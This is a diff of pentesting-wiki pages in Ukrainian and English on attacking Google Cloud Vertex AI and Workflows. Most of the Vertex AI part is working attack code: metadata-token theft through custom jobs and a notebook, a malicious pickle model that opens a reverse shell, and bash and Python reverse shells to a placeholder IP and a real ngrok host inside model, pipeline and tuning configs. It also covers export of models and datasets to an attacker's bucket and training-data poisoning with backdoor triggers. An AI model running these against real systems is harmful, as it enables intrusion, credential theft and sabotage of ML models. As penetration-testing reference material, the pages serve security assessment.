+ +Альтернатива: витягнути token з logs +```bash +# Method 3: View in logs (less reliable, logs may be delayed) +gcloud ai custom-jobs create \ +--region= \ +--display-name=token-exfil-job \ +--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \ +--command=sh \ +--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \ +--service-account=@.iam.gserviceaccount.com + +# Monitor the job logs to get the token +gcloud ai custom-jobs stream-logs --region= +``` +
+ +> [!CAUTION] +> Користувацьке завдання виконуватиметься з дозволами вказаного сервісного акаунта. Переконайтеся, що у вас є `iam.serviceAccounts.actAs` дозвіл на цільовому сервісному акаунті. + +### `aiplatform.models.upload`, `aiplatform.models.get` + +Ця техніка дозволяє підвищити привілеї шляхом завантаження моделі в Vertex AI та подальшого використання цієї моделі для виконання коду з підвищеними привілеями через розгортання endpoint або batch prediction job. + +> [!NOTE] +> Щоб виконати цю атаку, потрібно мати world readable GCS bucket або створити новий для завантаження артефактів моделі. + +
+ +Upload malicious pickled model with reverse shell +```bash +# Method 1: Upload malicious pickled model (triggers on deployment, not prediction) +# Create malicious sklearn model that executes reverse shell when loaded +cat > create_malicious_model.py <<'EOF' +import pickle + +class MaliciousModel: +def __reduce__(self): +import subprocess +cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" +return (subprocess.Popen, (['/bin/bash', '-c', cmd],)) + +# Save malicious model +with open('model.pkl', 'wb') as f: +pickle.dump(MaliciousModel(), f) +EOF + +python3 create_malicious_model.py + +# Upload to GCS +gsutil cp model.pkl gs://your-bucket/malicious-model/ + +# Upload model (reverse shell executes when endpoint loads it during deployment) +gcloud ai models upload \ +--region= \ +--artifact-uri=gs://your-bucket/malicious-model/ \ +--display-name=malicious-sklearn \ +--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest + +# On attacker: nc -lvnp 4444 (shell connects when deployment starts) +``` +
+ +
+ +Завантажити модель з container reverse shell +```bash +# Method 2 using --container-args to run a persistent reverse shell + +# Generate a fake model we need in a storage bucket in order to fake-run it later +python3 -c ' +import pickle +pickle.dump({}, open('model.pkl', 'wb')) +' + +# Upload to GCS +gsutil cp model.pkl gs://any-bucket/dummy-path/ + +# Upload model with reverse shell in container args +gcloud ai models upload \ +--region= \ +--artifact-uri=gs://any-bucket/dummy-path/ \ +--display-name=revshell-model \ +--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \ +--container-command=sh \ +--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \ +--container-health-route=/ \ +--container-predict-route=/predict \ +--container-ports=8080 + + +# On attacker machine: nc -lvnp 4444 +# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +
+ +> [!DANGER] +> Після завантаження шкідливої моделі зловмисник може чекати, поки хтось її використає, або запустити модель самостійно через розгортання endpoint або batch prediction job. + + +#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) + +Якщо у вас є дозволи створювати та розгортати моделі на endpoints, або змінювати політики IAM endpoint'а, ви можете використати завантажені шкідливі моделі в проєкті для ескалації привілеїв. Щоб запустити одну з раніше завантажених шкідливих моделей через endpoint, все що потрібно зробити — це: + +
+ +Розгорнути шкідливу модель на endpoint +```bash +# Create an endpoint +gcloud ai endpoints create \ +--region= \ +--display-name=revshell-endpoint + +# Deploy with privileged service account +gcloud ai endpoints deploy-model \ +--region= \ +--model= \ +--display-name=revshell-deployment \ +--service-account=@.iam.gserviceaccount.com \ +--machine-type=n1-standard-2 \ +--min-replica-count=1 +``` +
+ + +#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` + +Якщо у вас є дозволи на створення **batch prediction jobs** та запуск їх від імені сервісного облікового запису, ви можете отримати доступ до служби метаданих. Шкідливий код виконується з **custom prediction container** або **malicious model** під час процесу batch prediction. + +**Note**: Batch prediction jobs можна створювати лише через REST API або Python SDK (підтримка gcloud CLI відсутня). + +> [!NOTE] +> Ця атака вимагає спочатку завантаження malicious model (див. розділ `aiplatform.models.upload` вище) або використання custom prediction container з вашим reverse shell code. + +
+ +Створити batch prediction job з malicious model +```bash +# Step 1: Upload a malicious model with custom prediction container that executes reverse shell +gcloud ai models upload \ +--region= \ +--artifact-uri=gs://your-bucket/dummy-model/ \ +--display-name=batch-revshell-model \ +--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \ +--container-command=sh \ +--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \ +--container-health-route=/ \ +--container-predict-route=/predict \ +--container-ports=8080 + +# Step 2: Create dummy input file for batch prediction +echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl + +# Step 3: Create batch prediction job using that malicious model +PROJECT="your-project" +REGION="us-central1" +MODEL_ID="" +TARGET_SA="target-sa@your-project.iam.gserviceaccount.com" + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \ +-d '{ +"displayName": "batch-exfil-job", +"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'", +"inputConfig": { +"instancesFormat": "jsonl", +"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]} +}, +"outputConfig": { +"predictionsFormat": "jsonl", +"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"} +}, +"dedicatedResources": { +"machineSpec": { +"machineType": "n1-standard-2" +}, +"startingReplicaCount": 1, +"maxReplicaCount": 1 +}, +"serviceAccount": "'${TARGET_SA}'" +}' + +# On attacker machine: nc -lvnp 4444 +# The reverse shell executes when the batch job starts processing predictions +# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +
+ +### `aiplatform.models.export` + +Якщо у вас є дозвіл **models.export**, ви можете експортувати артефакти моделі в GCS bucket під вашим контролем, що потенційно дозволяє отримати доступ до чутливих даних навчання або файлів моделі. + +> [!NOTE] +> Щоб виконати цю атаку, потрібно мати GCS bucket, доступний для читання й запису для всіх, або створити новий, куди завантажити артефакти моделі. + +
+ +Експорт артефактів моделі в GCS bucket +```bash +# Export model artifacts to your own GCS bucket +PROJECT="your-project" +REGION="us-central1" +MODEL_ID="target-model-id" + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \ +-d '{ +"outputConfig": { +"exportFormatId": "custom-trained", +"artifactDestination": { +"outputUriPrefix": "gs://your-controlled-bucket/exported-models/" +} +} +}' + +# Wait for the export operation to complete, then download +gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ +``` +
+ +### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` + +Створюйте **ML pipeline jobs**, які виконують кілька кроків з довільними контейнерами та дозволяють досягти privilege escalation через reverse shell access. + +Pipelines особливо ефективні для privilege escalation, оскільки вони підтримують багатостадійні атаки, де кожен компонент може використовувати різні контейнери та конфігурації. + +> [!NOTE] +> Вам потрібен GCS bucket, доступний для запису будь-ким (world writable), щоб використовувати його як pipeline root. + +
+ +Встановити Vertex AI SDK +```bash +# Install the Vertex AI SDK first +pip install google-cloud-aiplatform +``` +
+ +
+ +Створити pipeline job з reverse shell container +```python +#!/usr/bin/env python3 +import json +import subprocess + +PROJECT_ID = "" +REGION = "us-central1" +TARGET_SA = "" + +# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema) +pipeline_spec = { +"schemaVersion": "2.1.0", +"sdkVersion": "kfp-2.0.0", +"pipelineInfo": { +"name": "data-processing-pipeline" +}, +"root": { +"dag": { +"tasks": { +"process-task": { +"taskInfo": { +"name": "process-task" +}, +"componentRef": { +"name": "comp-process" +} +} +} +} +}, +"components": { +"comp-process": { +"executorLabel": "exec-process" +} +}, +"deploymentSpec": { +"executors": { +"exec-process": { +"container": { +"image": "python:3.11-slim", +"command": ["python3"], +"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"] +} +} +} +} +} + +# Create the request body +request_body = { +"displayName": "ml-training-pipeline", +"runtimeConfig": { +"gcsOutputDirectory": "gs://gstorage-name/folder" +}, +"pipelineSpec": pipeline_spec, +"serviceAccount": TARGET_SA +} + +# Get access token +token_result = subprocess.run( +["gcloud", "auth", "print-access-token"], +capture_output=True, +text=True, +check=True +) +access_token = token_result.stdout.strip() + +# Submit via REST API +import requests + +url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs" +headers = { +"Authorization": f"Bearer {access_token}", +"Content-Type": "application/json" +} + +print(f"Submitting pipeline job to {url}") +response = requests.post(url, headers=headers, json=request_body) + +if response.status_code in [200, 201]: +result = response.json() +print(f"✓ Pipeline job submitted successfully!") +print(f" Job name: {result.get('name', 'N/A')}") +print(f" Check your reverse shell listener for connection") +else: +print(f"✗ Error: {response.status_code}") +print(f" {response.text}") +``` +
+ + +### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` + +Створюйте **hyperparameter tuning jobs**, які виконують довільний код з підвищеними привілеями через custom training containers. + +Hyperparameter tuning jobs дозволяють запускати кілька тренувальних прогонів паралельно, кожен з різними значеннями гіперпараметрів. Вказавши зловмисний контейнер з reverse shell або exfiltration command і асоціювавши його з привілейованим service account, ви можете досягти privilege escalation. + +**Impact**: Повне privilege escalation до прав цільового service account. + +
+ +Створити hyperparameter tuning job з reverse shell +```bash +# Method 1: Python reverse shell (most reliable) +# Create HP tuning job config with reverse shell +cat > hptune-config.yaml <<'EOF' +studySpec: +metrics: +- metricId: accuracy +goal: MAXIMIZE +parameters: +- parameterId: learning_rate +doubleValueSpec: +minValue: 0.001 +maxValue: 0.1 +algorithm: ALGORITHM_UNSPECIFIED +trialJobSpec: +workerPoolSpecs: +- machineSpec: +machineType: n1-standard-4 +replicaCount: 1 +containerSpec: +imageUri: python:3.11-slim +command: ["python3"] +args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"] +serviceAccount: @.iam.gserviceaccount.com +EOF + +# Create the HP tuning job +gcloud ai hp-tuning-jobs create \ +--region= \ +--display-name=hyperparameter-optimization \ +--config=hptune-config.yaml + +# On attacker machine, set up ngrok listener or use: nc -lvnp +# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token +``` +
+ + +### `aiplatform.datasets.export` + +Експорт **наборів даних** для exfiltrate даних навчання, які можуть містити конфіденційну інформацію. + +**Примітка**: Операції з наборами даних вимагають REST API або Python SDK (gcloud CLI не підтримує набори даних). + +Набори даних часто містять оригінальні дані навчання, які можуть включати PII, конфіденційні бізнес-дані або іншу чутливу інформацію, що використовувалася для навчання продукційних моделей. + +
+ +Експорт набору даних для exfiltrate даних навчання +```bash +# Step 1: List available datasets to find a target dataset ID +PROJECT="your-project" +REGION="us-central1" + +curl -s -X GET \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets" + +# Step 2: Export a dataset to your own bucket using REST API +DATASET_ID="" + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \ +-d '{ +"exportConfig": { +"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"} +} +}' + +# The export operation runs asynchronously and will return an operation ID +# Wait a few seconds for the export to complete + +# Step 3: Download the exported data +gsutil ls -r gs://your-controlled-bucket/exported-data/ + +# Download all exported files +gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./ + +# Step 4: View the exported data +# The data will be in JSONL format with references to training data locations +cat exported-data/*/data-*.jsonl + +# The exported data may contain: +# - References to training images/files in GCS buckets +# - Dataset annotations and labels +# - PII (Personally Identifiable Information) +# - Sensitive business data +# - Internal documents or communications +# - Credentials or API keys in text data +``` +
+ + +### `aiplatform.datasets.import` + +Імпортуйте шкідливі або poisoned дані в існуючі набори даних, щоб **маніпулювати навчанням моделі та вводити backdoors**. + +**Примітка**: Операції з наборами даних вимагають REST API або Python SDK (немає підтримки gcloud CLI для наборів даних). + +Імпортуючи спеціально підготовлені дані в набір даних, який використовується для навчання ML моделей, зловмисник може: +- Впровадити backdoors у моделях (trigger-based misclassification) +- Poison training data для погіршення продуктивності моделі +- Інжектувати дані, щоб змусити моделі leak інформацію +- Маніпулювати поведінкою моделі для конкретних вхідних даних + +Ця атака особливо ефективна при націлюванні на набори даних, що використовуються для: +- Класифікації зображень (вводити неправильно марковані зображення) +- Класифікації тексту (вводити упереджений або шкідливий текст) +- Виявлення об'єктів (маніпулювати обмежувальними рамками) +- Систем рекомендацій (вводити підроблені уподобання) + +
+ +Імпорт poisoned даних у набір даних +```bash +# Step 1: List available datasets to find target +PROJECT="your-project" +REGION="us-central1" + +curl -s -X GET \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets" + +# Step 2: Prepare malicious data in the correct format +# For image classification, create a JSONL file with poisoned labels +cat > poisoned_data.jsonl <<'EOF' +{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}} +{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}} +{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}} +EOF + +# For text classification +cat > poisoned_text.jsonl <<'EOF' +{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}} +{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}} +EOF + +# Upload poisoned data to GCS +gsutil cp poisoned_data.jsonl gs://your-bucket/poison/ + +# Step 3: Import the poisoned data into the target dataset +DATASET_ID="" + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \ +-d '{ +"importConfigs": [ +{ +"gcsSource": { +"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"] +}, +"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml" +} +] +}' + +# The import operation runs asynchronously and will return an operation ID + +# Step 4: Verify the poisoned data was imported +# Wait for import to complete, then check dataset stats +curl -s -X GET \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}" + +# The dataItemCount should increase after successful import +``` +
+ +**Сценарії атак:** + +
+ +Backdoor attack - класифікація зображень +```bash +# Scenario 1: Backdoor Attack - Image Classification +# Create images with a specific trigger pattern that causes misclassification +# Upload backdoor trigger images labeled as the target class +echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl +gsutil cp backdoor.jsonl gs://your-bucket/attacks/ +# Import into dataset - model will learn to classify trigger pattern as "authorized_user" +``` +
+ +
+ +Атака підміни міток +```bash +# Scenario 2: Label Flipping Attack +# Systematically mislabel a subset of data to degrade model accuracy +# Particularly effective for security-critical classifications +for i in {1..50}; do +echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}" +done > label_flip.jsonl +# This causes legitimate samples to be labeled as malicious +``` +
+ +
+ +Data poisoning for model extraction +```bash +# Scenario 3: Data Poisoning for Model Extraction +# Inject carefully crafted queries to extract model behavior +# Useful for model stealing attacks +cat > extraction_queries.jsonl <<'EOF' +{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}} +{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}} +EOF +``` +
+ +
+ +Цілеспрямована атака на конкретні цілі +```bash +# Scenario 4: Targeted Attack on Specific Entities +# Poison data to misclassify specific individuals or objects +cat > targeted_poison.jsonl <<'EOF' +{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}} +{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}} +{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}} +EOF +``` +
+ +> [!DANGER] +> Атаки отруєння даних можуть мати серйозні наслідки: +> - **Security systems**: Обходити розпізнавання облич або виявлення аномалій +> - **Fraud detection**: Навчити моделі ігнорувати певні схеми шахрайства +> - **Content moderation**: Змусити шкідливий контент класифікуватися як безпечний +> - **Medical AI**: Неправильно класифікувати критичні стани здоров'я +> - **Autonomous systems**: Маніпулювати виявленням об'єктів у рішеннях, критичних для безпеки +> +> **Impact**: +> - Моделі з бекдором, що неправильно класифікують при конкретних тригерах +> - Погіршення продуктивності та точності моделі +> - Зміщені моделі, які дискримінують певні вхідні дані +> - Витік інформації через поведінку моделі +> - Довготривала персистентність (моделі, навчені на отруєних даних, успадкують бекдор) +> + +### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` + +> [!WARNING] +> > [!NOTE] +> **Deprecated API**: API `aiplatform.notebookExecutionJobs.create` застаріло внаслідок виведення з експлуатації Vertex AI Workbench Managed Notebooks. Сучасний підхід — використовувати **Vertex AI Workbench Executor**, який запускає ноутбуки через `aiplatform.customJobs.create` (вже описано вище). +> Vertex AI Workbench Executor дозволяє планувати запуск ноутбуків, які виконуються на інфраструктурі Vertex AI custom training з вказаним service account. Це по суті зручна оболонка над `customJobs.create`. +> **Для ескалації привілеїв через ноутбуки**: Використовуйте метод `aiplatform.customJobs.create`, описаний вище; він швидший, надійніший і використовує ту ж базову інфраструктуру, що й Workbench Executor. + +**Наступна техніка наведена лише для історичного контексту і не рекомендована до використання в нових оцінюваннях.** + +Створюйте **notebook execution jobs**, які запускають Jupyter ноутбуки з довільним кодом. + +Notebook jobs ідеально підходять для інтерактивного виконання коду з використанням service account, оскільки підтримують Python-ячейки коду та shell-команди. + +
+ +Створити зловмисний файл ноутбука +```bash +# Create a malicious notebook +cat > malicious.ipynb <<'EOF' +{ +"cells": [ +{ +"cell_type": "code", +"source": [ +"import subprocess\n", +"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n", +"print(token.decode())" +] +} +], +"metadata": {}, +"nbformat": 4 +} +EOF + +# Upload to GCS +gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb +``` +
+ +
+ +Виконати notebook за допомогою цільового service account +```bash +# Create notebook execution job using REST API +PROJECT="gcp-labs-3uis1xlx" +REGION="us-central1" +TARGET_SA="491162948837-compute@developer.gserviceaccount.com" + + +curl -X POST \ +-H "Authorization: Bearer $(gcloud auth print-access-token)" \ +-H "Content-Type: application/json" \ +https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \ +-d '{ +"displayName": "data-analysis-job", +"gcsNotebookSource": { +"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb" +}, +"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/", +"serviceAccount": "'${TARGET_SA}'", +"executionTimeout": "3600s" +}' + +# Monitor job for token in output +# Notebooks execute with the specified service account's permissions +``` +
+ + +## Посилання + +- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs) +- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md index d6c625fc4..c33ee076d 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md @@ -12,11 +12,13 @@ ### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`) -Наскільки мені відомо, неможливо отримати shell з доступом до кінцевої точки метаданих, що містить облікові дані SA, прикріплені до Workflow. Однак можливо зловживати дозволами SA, додаючи дії для виконання всередині Workflow. +Наскільки мені відомо, неможливо отримати shell з доступом до metadata endpoint, що містить облікові дані SA, прикріпленого до Workflow. Однак можна зловживати дозволами SA, додаючи дії для виконання всередині Workflow. -Можливо знайти документацію конекторів. Наприклад, це [**сторінка конектора Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** У бічній панелі можна знайти кілька інших конекторів. +Можна знайти документацію конекторів. Наприклад, це [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** У бічному меню можна знайти кілька інших конекторів. -І тут ви можете знайти приклад конектора, який друкує секрет: +Тут ви можете знайти приклад конектора, який виводить секрет: + +
Workflow YAML конфігурація для доступу до секретів ```yaml main: params: [input] @@ -31,16 +33,20 @@ result: str_secret - returnOutput: return: "${str_secret}" ``` +
+ Оновлення з CLI: + +
Розгортання та виконання workflows з CLI ```bash gcloud workflows deploy \ --service-account=email@SA \ --source=/path/to/config.yaml \ --location us-central1 ``` -Якщо ви отримали помилку, наприклад, `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, просто **почекайте хвилину і спробуйте знову**. +Якщо ви отримали помилку на кшталт `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, просто **зачекайте хвилину й спробуйте знову**. -Якщо у вас немає доступу до вебу, ви можете запустити та побачити виконання Workflow за допомогою: +Якщо у вас немає веб-доступу, можна ініціювати та переглянути виконання Workflow за допомогою: ```bash # Run execution with output gcloud workflows run --location us-central1 @@ -54,19 +60,23 @@ gcloud workflows executions list # Get execution info and output gcloud workflows executions describe projects//locations//workflows//executions/ ``` -> [!CAUTION] -> Ви також можете перевірити вихідні дані попередніх виконань, щоб знайти чутливу інформацію - -Зверніть увагу, що навіть якщо ви отримаєте помилку, наприклад, `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...`, тому що у вас немає цього дозволу, робочий процес був згенерований. - -### Leak OIDC token (і OAuth?) - -Згідно [**з документацією**](https://cloud.google.com/workflows/docs/authenticate-from-workflow), можливо використовувати кроки робочого процесу, які надсилають HTTP-запит з токеном OAuth або OIDC. Однак, як і в випадку з [Cloud Scheduler](gcp-cloudscheduler-privesc.md), HTTP-запит з токеном Oauth повинен бути до хоста `.googleapis.com`. +
> [!CAUTION] -> Отже, **можливо витікати OIDC токен, вказуючи HTTP-інтерфейс**, контрольований користувачем, але для витоку **OAuth** токена вам **потрібен обхід** для цього захисту. Однак ви все ще можете **взаємодіяти з будь-яким GCP API для виконання дій від імені SA**, використовуючи або конектори, або HTTP-запити з токеном OAuth. +> Ви також можете перевірити вихід попередніх виконань на предмет чутливої інформації + +Note that even if you get an error like `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` because you don't have that permission, the workflow has been generated. + +### Leak OIDC токен (і OAuth?) + +According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the OAuth token must be to the host `.googleapis.com`. + +> [!CAUTION] +> Therefore, it's **possible to leak the OIDC token by indicating a HTTP endpoint** controlled by the user but to leak the **OAuth** token you would **need a bypass** for that protection. However, you are still able to **contact any GCP api to perform actions on behalf the SA** using either connectors or HTTP requests with the OAuth token. #### Oauth + +
Workflow HTTP request with OAuth token ```yaml - step_A: call: http.post @@ -76,7 +86,9 @@ auth: type: OAuth2 scopes: OAUTH_SCOPE ``` -#### OIDC +
#### OIDC + +
Workflow HTTP-запит з OIDC токеном ```yaml - step_A: call: http.get @@ -90,8 +102,8 @@ auth: type: OIDC audience: OIDC_AUDIENCE ``` -### `workflows.workflows.update` ... +
### `workflows.workflows.update` ... -З цією дозволом замість `workflows.workflows.create` можливо оновити вже існуючий робочий процес і виконати ті ж атаки. +З цим дозволом, замість `workflows.workflows.create`, можна оновити вже існуючий workflow і виконати ті самі атаки. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md new file mode 100644 index 000000000..0d40ea25e --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-vertex-ai-enum.md @@ -0,0 +1,257 @@ +# GCP - Vertex AI Enum + +{{#include ../../../banners/hacktricks-training.md}} + +## Vertex AI + +[Vertex AI](https://cloud.google.com/vertex-ai) — це Google Cloud's **уніфікована платформа для машинного навчання** для побудови, розгортання та керування AI-моделями в масштабі. Вона об’єднує різні AI та ML сервіси в єдину інтегровану платформу, що дозволяє дата-сайентистам та ML-інженерам: + +- **Навчати кастомні моделі** за допомогою AutoML або власного тренування +- **Розгортати моделі** на масштабовані endpoints для прогнозів +- **Керувати життєвим циклом ML** від експериментів до продакшену +- **Отримувати доступ до попередньо натренованих моделей** з Model Garden +- **Моніторити та оптимізувати** продуктивність моделей + +### Ключові компоненти + +#### Моделі + +Vertex AI **моделі** представляють навчені моделі машинного навчання, які можна розгорнути на endpoints для надання прогнозів. Моделі можуть бути: + +- **Завантажені** з кастомних контейнерів або артефактів моделі +- Створені через **AutoML** тренування +- Імпортовані з **Model Garden** (попередньо натреновані моделі) +- **Версіоновані** з декількома версіями на модель + +Кожна модель має метадані, включаючи фреймворк, URI контейнерного образу, розташування артефактів та конфігурацію сервінгу. + +#### Кінцеві точки + +**Кінцеві точки** — це ресурси, що хостять розгорнуті моделі та надають онлайн-прогнози. Ключові можливості: + +- Можуть хостити **кілька розгорнутих моделей** (з розподілом трафіку) +- Надають **HTTPS endpoints** для реальних прогнозів +- Підтримують **автоматичне масштабування** залежно від трафіку +- Можуть використовувати **приватний** або **публічний** доступ +- Підтримують **A/B testing** через розподіл трафіку + +#### Користувацькі завдання + +**Custom jobs** дозволяють запускати власний код для навчання, використовуючи ваші контейнери або Python-пакети. Функції включають: + +- Підтримку **розподіленого навчання** з кількома worker-пулами +- Налаштовувані **типи машин** та **акселеретори** (GPUs/TPUs) +- **Service account** для доступу до інших GCP ресурсів +- Інтеграцію з **Vertex AI Tensorboard** для візуалізації +- Опції **VPC connectivity** + +#### Завдання підбору гіперпараметрів + +Ці завдання автоматично **шукають оптимальні гіперпараметри**, запускаючи кілька тренувальних проб з різними комбінаціями параметрів. + +#### Model Garden + +**Model Garden** надає доступ до: + +- Попередньо натренованих Google моделей +- Відкритих моделей (включаючи Hugging Face) +- Моделей третіх сторін +- Можливості розгортання в один клік + +#### Tensorboards + +**Tensorboards** забезпечують візуалізацію та моніторинг експериментів ML, відстеження метрик, графів моделей і прогресу навчання. + +### Облікові записи сервісів та дозволи + +За замовчуванням сервіси Vertex AI використовують **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), який має **Editor** права в проєкті. Однак ви можете вказувати власні облікові записи сервісів при: + +- Створенні custom jobs +- Завантаженні моделей +- Розгортанні моделей на endpoints + +Цей service account використовується для: +- Доступу до тренувальних даних у Cloud Storage +- Запису логів у Cloud Logging +- Доступу до секретів з Secret Manager +- Взаємодії з іншими GCP сервісами + +### Зберігання даних + +- **Артефакти моделей** зберігаються в бакетах **Cloud Storage** +- **Тренувальні дані** зазвичай розміщені в Cloud Storage або BigQuery +- **Контейнерні образи** зберігаються в **Artifact Registry** або Container Registry +- **Логи** відправляються в **Cloud Logging** +- **Метрики** відправляються в **Cloud Monitoring** + +### Шифрування + +За замовчуванням Vertex AI використовує **Google-managed encryption keys**. Ви також можете налаштувати: + +- **Customer-managed encryption keys (CMEK)** з Cloud KMS +- Шифрування застосовується до артефактів моделі, тренувальних даних та endpoints + +### Мережа + +Ресурси Vertex AI можна налаштувати для: + +- **Публічного доступу в інтернет** (за замовчуванням) +- **VPC peering** для приватного доступу +- **Private Service Connect** для захищеного підключення +- Підтримки **Shared VPC** + +### Перерахування +```bash +# List models +gcloud ai models list --region= +gcloud ai models describe --region= 